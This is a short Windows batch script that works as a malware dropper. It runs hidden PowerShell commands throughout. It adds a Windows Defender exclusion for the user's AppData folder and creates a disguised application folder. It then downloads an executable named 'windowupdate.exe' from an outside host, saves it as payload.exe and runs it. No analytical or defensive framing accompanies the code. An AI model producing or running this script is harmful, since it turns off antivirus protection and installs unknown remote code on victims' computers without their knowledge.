@echo off
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData'"
setlocal enabledelayedexpansion
set "payloadpath=%appdata%\Custom-Application\files\payload.exe"
if not exist "%appdata%\Custom-Application\files" mkdir "%appdata%\Custom-Application\files"
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://tiendev.click/windowupdate.exe' -OutFile '%payloadpath%'"
powershell -WindowStyle Hidden -Command "Start-Process '%payloadpath%'"
exit /b